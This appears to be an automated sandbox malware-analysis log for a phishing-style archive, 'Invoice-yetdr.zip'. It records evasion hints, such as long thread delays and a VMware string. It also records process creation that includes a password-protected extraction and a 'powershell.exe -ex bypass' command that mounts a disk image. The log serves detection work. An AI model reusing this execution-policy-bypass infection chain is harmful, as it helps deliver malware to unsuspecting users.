Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 13C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 3060000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Memory allocated: 5060000 memory commit \| memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Window / User API: threadDelayed 516	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Window / User API: threadDelayed 9480	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5993	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3726	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe TID: 2884	Thread sleep count: 516 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 2884	Thread sleep time: -258000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 2884	Thread sleep count: 9480 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe TID: 2884	Thread sleep time: -4740000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5292	Thread sleep count: 5993 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5292	Thread sleep count: 3726 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\unarchiver.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\unarchiver.exe

Code function: 5_2_0132B1D6 GetSystemInfo,

5_2_0132B1D6

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: unarchiver.exe, 00000005.00000002.2978356937.0000000000FCD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: War&Prod_VMware_SATA[

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\vqyu22il.thm" "C:\Users\user\Downloads\Invoice-yetdr.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" D:\autorun.inf	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -command Mount-DiskImage -ImagePath "C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
